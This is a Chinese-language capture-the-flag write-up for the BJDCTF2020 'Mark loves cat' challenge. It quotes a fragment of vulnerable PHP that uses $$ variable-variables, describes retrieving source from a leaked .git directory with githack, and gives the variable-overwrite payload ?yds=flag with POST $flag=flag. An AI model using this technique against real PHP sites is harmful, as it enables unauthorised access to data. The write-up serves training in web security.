BJDCTF2020Mark loves cat

$y){ $$x = $y; } foreach($_GET as $x => $y){ //通过post方式传递$flag=flag,最终结果为$$flag=flag 这便是POST方式处理代码 $$x = $$y; } foreach($_GET as $x => $y){ if($_GET['flag'] === $x && $x !== 'flag'){ //通过get传递yds=flag 得到$yds=$flag exit($handsome); } } if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //get和post中不存在flag参数便退出程序输出$yds变量,得到flag exit($yds); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($is); } echo "the flag is: ".$flag;" //这是index.php 的源码 **根据$$和foreach可以判断可能存在变量覆盖漏洞**,也就是可以将$yds,$is,$handsome的值进行覆盖成$flag变量,然后输出对应变量的值,获取flag。 例如代码第17-19行,需要get传参?flag=flag,才能进入if语句中输出$handsome,但是foreach中并不能将$flag赋值给$handsome然后输出,所以此处无法利用。 扫描**目录找到 .git 泄露** **然后githack 把源码下下来** 发现就两个重要文件,flag.php,读取flag文件内容并赋值给$flag: index.php,开头有个包含,在最后有个输出flag if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($yds); } 发现get和post中不存在flag参数便退出程序输出$yds变量 传递如下参数 : get: yds=flag post: $flag=flag 那么最终payload **?yds=flag** ** post: $flag=flag**